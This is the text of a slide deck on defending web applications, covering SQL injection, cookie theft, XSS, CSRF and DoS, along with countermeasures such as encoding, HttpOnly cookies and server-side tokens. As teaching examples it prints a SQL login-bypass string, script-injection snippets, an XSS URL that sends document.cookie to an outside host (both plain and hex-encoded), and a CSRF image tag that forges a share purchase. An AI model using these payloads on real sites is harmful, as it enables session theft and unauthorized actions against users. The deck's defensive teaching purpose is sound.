Roberto Bicchierai - Defending web applications from attacks

Defending web applications from attacks

Roberto Bicchieraihttp://roberto.open-lab.comrbicchierai@open-lab.com

“Web apps w.t.f.?”

• Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)

• Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainly for a restricted group of users)

• Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)

This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.

Seems easy to say “security”…

Classical branches:

• Hardware security

• Cryptography

• Identity

Cryptography

Every single byte you send can be read.

SSL does not guarantee 100% and slows down your apps.

Sniffing requires knowledge, software, hardware and physical access to wires.

User identity

Username/e-mail and password• strength: “p455w0rD.” better than “password” or “p”• avoid login name, family name, birth date, phone number,

child or pet’s names (remember Joshua!)• try to avoid dictionary ones (record number of attempts!)

• never store passwords on your db

The new dictionary: why “qazwsxedc” is not so strong?

OpenID is a suitable alternative for some web apps.

Biometrics are NOT.

Dati biometrici (difficilmente usabili)

Did I miss something?

• My servers are in a fortress• 3 firewall levels (and one dragon)

• I use 56 chars non-alpha pwd• pwd expires every 10 days• I use SSL 1024(128) bit

encryption• I hung blu velvet curtains to

the windows

Your app sucks!

• Injection• Cookies• XSS• CSRF

The problem is in the application…

Injection: I don’t need a password!

jsmith

a’ or ‘a’=‘a

“select * from users where username=‘” + login +”’ and password=‘” + password +”’ ”

Earth 2010:lots of applications are still open to the classical sql injection vulnerability:

DON’

T

Damned HTML… and your browsers

3 ingredients make web apps vulnerable:1. HTML was not for applications! But it is! (code

injection is too easy)

2. HTTP uses cookies for handling sessions3. Javascript, that is ubiquitous in a page (and reads

cookies)

but mainly

browsers

Remember me!

Salted cookies, salted cookies!

Use salt and pepper to hash login data.Do not make them reversible!

md5(user.id+”hash”)

md5(user.id+”jfhsdj*dsj2+39jrw_enw”)

Protect cookies!

lost cookies = session stolen, now I’m you!

Hard to recover! Quite “easy” to prevent

• use HttpOnly cookies• restrict cookie’s scope by setting host, path,

expiry• encrypt data saved on cookies

Injection reloaded: aka XSS

notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>

notes:

</textarea><script>alert(“you stink!”)</script>

your name: john “> <script>alert(“I can do everything!”)</script>

this is the basics of XSS

JSP-ASP example:

XSS

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

How I’ll get your cookies:

“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com

XSS: encode user inputs

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Do not think it’s easy:

if (userInputs.contains(“<script>”))killTheUser();

it doesn’t work!

Do you recognize this? It is the same script!

Some browsers accept Ascii, hex, octal, url encoding, unicode, html, etc.

XSS: encode user inputs

The safest solution?• Limit user inputs to plain text • Html encode every single field

http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;

Sweet dreams! This is always safe!

XSS: no plain text? so, pain test!

Your app allows rich text inputs?Did your user need the full power of HTML? Try

to avoid using it. Use a lightweight markup language instead.

• Markdown• Textile• BBCode• Wikipedia

XSS: I like HTML

Sanitizing an HTML input is really hard work.Do not be shy:

• restrict allowed tags: <i><b><a><u><br><hr>• kill dangerous tags: <script><object><embed>etc.• test urls: <a href=“javascript: or background-image:url(‘…• limit css styles, e.g.: position

HtmlEncode all the rest!

XSS: test your pages

There are about 150 different XSS exploits!

Test inputs using examples on

http://ha.ckers.org/xss.htmlwith different browsers and versions. Use XSSme plugin for FireFox.

Mission accomplished. XSS destroyed!

Does the user exactly know what she is doing?

Everytime?

next target:Cross Site Request Forgery

click here

CSRF: how does it work?

1. John is authenticated on site A. e.g.: stoks.example.com

2. John visit the site B reading news: hotStoksNews.goodboy.com

3. B contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>

4. John is now an happy owner of 1000 KRAK shares!

CSRF: protect your app

There aren’t many solutions:

Server-sideGenerated

Tokens!

CSRF & Tokens: how to

1) your server generates a random number and: - insert it as hidden parameter in the form

(or in the url in case of get)

- store it in the user session 2) when the form request is received a hidden

parameter is matched with the in-session one

CSRF & Tokens

Pros:1. safe

2. safe

3. safe

Cons:1. reloading a page (F5) will

generate “invalid token error”

2. if a page has different entry points token generation may be annoying

API: a new enemy?

REST, JSON, XML API are not evil in themself, but:

1. there is no “standard” authentication2. when used with JS clients this may reveal the

user key3. you are exposing new ways for xss and csrf

DoS: Denial of Service• DoS protocol level: nothing to do… use

intelligent gateways/router

• DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions

• Use session-less pages until authentication

“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.

Your app rocks!

1. use strong passwords2. keep data in safe place3. do not store user’s passwords4. salt and pepper everywhere5. use SSL6. use Httponly cookies7. encode user inputs or sanitize them8. use server-side tokens for critical actions9. expose a read-only API

“Don’t be evil”

Thank you!

Now: Q&Aa starting point with a collection of security related links:

http://delicious.com/robicch/security

my Java sanitizer: http://roberto.open-lab.com